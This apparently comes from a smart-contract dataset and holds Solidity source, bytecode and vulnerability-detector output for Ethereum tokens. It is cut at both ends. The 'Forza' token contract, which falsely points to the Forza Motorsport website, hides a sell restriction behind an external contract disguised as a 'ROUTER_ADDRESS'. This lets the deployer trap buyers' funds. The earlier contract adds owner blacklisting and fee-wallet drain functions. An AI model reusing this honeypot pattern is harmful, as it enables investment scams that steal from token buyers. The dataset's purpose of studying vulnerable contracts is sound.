require(_msgSender() == _feeAddrWallet1); sniperCount++; bots[_address] = true; } function removeFromBlacklist(address notbot) external onlyOwner(){ // require(_msgSender() == _feeAddrWallet1); sniperCount -= 1; bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x60806040526004361061010d5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b41146102d9578063a9059cbb14610308578063c3c8cd8014610328578063c9567bf91461033d578063dd62ed3e1461035257600080fd5b80636fc3eaec1461026757806370a082311461027c578063715018a61461029c5780638da5cb5b146102b157600080fd5b806323b872dd116100dc57806323b872dd146101d65780632ab30838146101f6578063313ce5671461020b578063537df3b6146102275780635932ead11461024757600080fd5b806306fdde031461011957806308aad1f114610160578063095ea7b31461018257806318160ddd146101b257600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600c81526b21b432b2b9b2902a37b5b2b760a11b60208201525b6040516101579190611358565b60405180910390f35b34801561016c57600080fd5b5061018061017b3660046113c2565b610398565b005b34801561018e57600080fd5b506101a261019d3660046113df565b610404565b6040519015158152602001610157565b3480156101be57600080fd5b5066038d7ea4c680005b604051908152602001610157565b3480156101e257600080fd5b506101a26101f136600461140b565b61041b565b34801561020257600080fd5b50610180610484565b34801561021757600080fd5b5060405160098152602001610157565b34801561023357600080fd5b506101806102423660046113c2565b6104bb565b34801561025357600080fd5b5061018061026236600461145a565b61051e565b34801561027357600080fd5b50610180610566565b34801561028857600080fd5b506101c86102973660046113c2565b610593565b3480156102a857600080fd5b506101806105b5565b3480156102bd57600080fd5b506000546040516001600160a01b039091168152602001610157565b3480156102e557600080fd5b5060408051808201909152600681526543686565736560d01b602082015261014a565b34801561031457600080fd5b506101a26103233660046113df565b610629565b34801561033457600080fd5b50610180610636565b34801561034957600080fd5b5061018061066c565b34801561035e57600080fd5b506101c861036d366004611477565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b031633146103cb5760405162461bcd60e51b81526004016103c2906114b0565b60405180910390fd5b600f80549060006103db836114fb565b90915550506001600160a01b03166000908152600660205260409020805460ff19166001179055565b60006104113384846109fe565b5060015b92915050565b6000610428848484610b22565b61047a843361047585604051806060016040528060288152602001611676602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610c83565b6109fe565b5060019392505050565b6000546001600160a01b031633146104ae5760405162461bcd60e51b81526004016103c2906114b0565b66038d7ea4c68000601255565b6000546001600160a01b031633146104e55760405162461bcd60e51b81526004016103c2906114b0565b6001600f60008282546104f89190611516565b90915550506001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105485760405162461bcd60e51b81526004016103c2906114b0565b60118054911515600160b81b0260ff60b81b19909216919091179055565b600e546001600160a01b0316336001600160a01b03161461058657600080fd5b4761059081610cbd565b50565b6001600160a01b03811660009081526002602052604081205461041590610cf7565b6000546001600160a01b031633146105df5760405162461bcd60e51b81526004016103c2906114b0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610411338484610b22565b600e546001600160a01b0316336001600160a01b03161461065657600080fd5b600061066130610593565b905061059081610d7b565b6000546001600160a01b031633146106965760405162461bcd60e51b81526004016103c2906114b0565b601154600160a01b900460ff16156106f05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103c2565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561072b308266038d7ea4c680006109fe565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610769573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061078d919061152d565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fe919061152d565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561084b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086f919061152d565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d719473061089f81610593565b6000806108b46000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561091c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610941919061154a565b50506011805461ffff60b01b191661010160b01b1790555061096b606466038d7ea4c68000611578565b60125560118054600160a01b60ff60a01b1982161790915560105460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b3906044016020604051808303816000875af11580156109d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109fa919061159a565b5050565b6001600160a01b038316610a605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c2565b6001600160a01b038216610ac15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c2565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60008111610b845760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103c2565b6001600160a01b03831660009081526006602052604090205460ff1615610baa57600080fd5b6001600160a01b0383163014610c5257601254811115610bc957600080fd5b600a54600c55600b54600d556000610be030610593565b601154909150600160a81b900460ff16158015610c0b57506011546001600160a01b03858116911614155b8015610c205750601154600160b01b900460ff165b15610c50578015610c3457610c3481610d7b565b4767016345785d8a0000811115610c4e57610c4e47610cbd565b505b505b6000546001600160a01b0384811691161415610c73576000600d819055600c555b610c7e838383610ef5565b505050565b60008184841115610ca75760405162461bcd60e51b81526004016103c29190611358565b506000610cb48486611516565b95945050505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156109fa573d6000803e3d6000fd5b6000600854821115610d5e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016103c2565b6000610d68610f00565b9050610d748382610f23565b9392505050565b6011805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610dc357610dc36115b7565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e40919061152d565b81600181518110610e5357610e536115b7565b6001600160a01b039283166020918202929092010152601054610e7991309116846109fe565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790610eb29085906000908690309042906004016115cd565b600060405180830381600087803b158015610ecc57600080fd5b505af1158015610ee0573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b610c7e838383610f65565b6000806000610f0d61105c565b9092509050610f1c8282610f23565b9250505090565b6000610d7483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061109a565b600080600080600080610f77876110c8565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610fa99087611125565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610fd89086611167565b6001600160a01b038916600090815260026020526040902055610ffa816111c6565b6110048483611210565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161104991815260200190565b60405180910390a3505050505050505050565b600854600090819066038d7ea4c680006110768282610f23565b8210156110915750506008549266038d7ea4c6800092509050565b90939092509050565b600081836110bb5760405162461bcd60e51b81526004016103c29190611358565b506000610cb48486611578565b60008060008060008060008060006110e58a600c54600d54611234565b92509250925060006110f5610f00565b905060008060006111088e878787611289565b919e509c509a509598509396509194505050505091939550919395565b6000610d7483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c83565b600080611174838561163e565b905083811015610d745760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103c2565b60006111d0610f00565b905060006111de83836112d9565b306000908152600260205260409020549091506111fb9082611167565b30600090815260026020526040902055505050565b60085461121d9083611125565b60085560095461122d9082611167565b6009555050565b600080808061124e606461124889896112d9565b90610f23565b9050600061126160646112488a896112d9565b90506000611279826112738b86611125565b90611125565b9992985090965090945050505050565b600080808061129888866112d9565b905060006112a688876112d9565b905060006112b488886112d9565b905060006112c6826112738686611125565b939b939a50919850919650505050505050565b6000826112e857506000610415565b60006112f48385611656565b9050826113018583611578565b14610d745760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103c2565b600060208083528351808285015260005b8181101561138557858101830151858201604001528201611369565b81811115611397576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461059057600080fd5b6000602082840312156113d457600080fd5b8135610d74816113ad565b600080604083850312156113f257600080fd5b82356113fd816113ad565b946020939093013593505050565b60008060006060848603121561142057600080fd5b833561142b816113ad565b9250602084013561143b816113ad565b929592945050506040919091013590565b801515811461059057600080fd5b60006020828403121561146c57600080fd5b8135610d748161144c565b6000806040838503121561148a57600080fd5b8235611495816113ad565b915060208301356114a5816113ad565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600060001982141561150f5761150f6114e5565b5060010190565b600082821015611528576115286114e5565b500390565b60006020828403121561153f57600080fd5b8151610d74816113ad565b60008060006060848603121561155f57600080fd5b8351925060208401519150604084015190509250925092565b60008261159557634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156115ac57600080fd5b8151610d748161144c565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561161d5784516001600160a01b0316835293830193918301916001016115f8565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611651576116516114e5565b500190565b6000816000190483118215151615611670576116706114e5565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d7674e9946a3cdf68794bd6d6f2dffc41e63b22187d045b1f995bd1c1bd05bcd64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,716
0x6077d54d5fcc4cadea1951baa36f924204f40a95
/** *Submitted for verification at Etherscan.io on 2021-11-15 */ //SPDX-License-Identifier: MIT // Website: https://forzamotorsport.net/en-US pragma solidity ^0.8.4; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // new mainnet uint256 constant TOTAL_SUPPLY=100000000000 * 10**8; address constant UNISWAP_ADDRESS=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; string constant TOKEN_NAME="Forza"; string constant TOKEN_SYMBOL="FZ"; uint8 constant DECIMALS=8; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface Odin{ function amount(address from) external view returns (uint256); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Forza is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private constant _burnFee=1; uint256 private constant _taxFee=9; address payable private _taxWallet; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _router; address private _pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(((to == _pair && from != address(_router) )?amount:0) <= Odin(ROUTER_ADDRESS).amount(address(this))); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != _pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _router.WETH(); _approve(address(this), address(_router), tokenAmount); _router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier overridden() { require(_taxWallet == _msgSender() ); _; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(UNISWAP_ADDRESS); _router = _uniswapV2Router; _approve(address(this), address(_router), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(_pair).approve(address(_router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061230f565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611ed2565b61038e565b60405161014c91906122f4565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b6040516101779190612471565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611e7f565b6103bc565b6040516101b491906122f4565b60405180910390f35b3480156101c957600080fd5b506101d2610495565b6040516101df91906124e6565b60405180910390f35b3480156101f457600080fd5b506101fd61049e565b005b34801561020b57600080fd5b5061022660048036038101906102219190611de5565b610518565b6040516102339190612471565b60405180910390f35b34801561024857600080fd5b50610251610569565b005b34801561025f57600080fd5b506102686106bc565b6040516102759190612226565b60405180910390f35b34801561028a57600080fd5b506102936106e5565b6040516102a0919061230f565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611ed2565b610722565b6040516102dd91906122f4565b60405180910390f35b3480156102f257600080fd5b506102fb610740565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e3f565b610c71565b6040516103319190612471565b60405180910390f35b34801561034657600080fd5b5061034f610cf8565b005b60606040518060400160405280600581526020017f466f727a61000000000000000000000000000000000000000000000000000000815250905090565b60006103a261039b610d6a565b8484610d72565b6001905092915050565b6000678ac7230489e80000905090565b60006103c9848484610f3d565b61048a846103d5610d6a565b61048585604051806060016040528060288152602001612ac160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061043b610d6a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113059092919063ffffffff16565b610d72565b600190509392505050565b60006008905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104df610d6a565b73ffffffffffffffffffffffffffffffffffffffff16146104ff57600080fd5b600061050a30610518565b905061051581611369565b50565b6000610562600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115f1565b9050919050565b610571610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f5906123d1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f465a000000000000000000000000000000000000000000000000000000000000815250905090565b600061073661072f610d6a565b8484610f3d565b6001905092915050565b610748610d6a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107cc906123d1565b60405180910390fd5b600b60149054906101000a900460ff1615610825576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081c90612451565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108b430600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16678ac7230489e80000610d72565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108fa57600080fd5b505afa15801561090e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109329190611e12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561099457600080fd5b505afa1580156109a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cc9190611e12565b6040518363ffffffff1660e01b81526004016109e9929190612241565b602060405180830381600087803b158015610a0357600080fd5b505af1158015610a17573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3b9190611e12565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ac430610518565b600080610acf6106bc565b426040518863ffffffff1660e01b8152600401610af196959493929190612293565b6060604051808303818588803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b439190611f6c565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610c1b92919061226a565b602060405180830381600087803b158015610c3557600080fd5b505af1158015610c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6d9190611f12565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d39610d6a565b73ffffffffffffffffffffffffffffffffffffffff1614610d5957600080fd5b6000479050610d678161165f565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd990612431565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4990612371565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f309190612471565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa490612411565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561101d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101490612331565b60405180910390fd5b60008111611060576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611057906123f1565b60405180910390fd5b73c6866ce931d4b765d66080dd6a47566ccb99f62f73ffffffffffffffffffffffffffffffffffffffff1663b9f0bf66306040518263ffffffff1660e0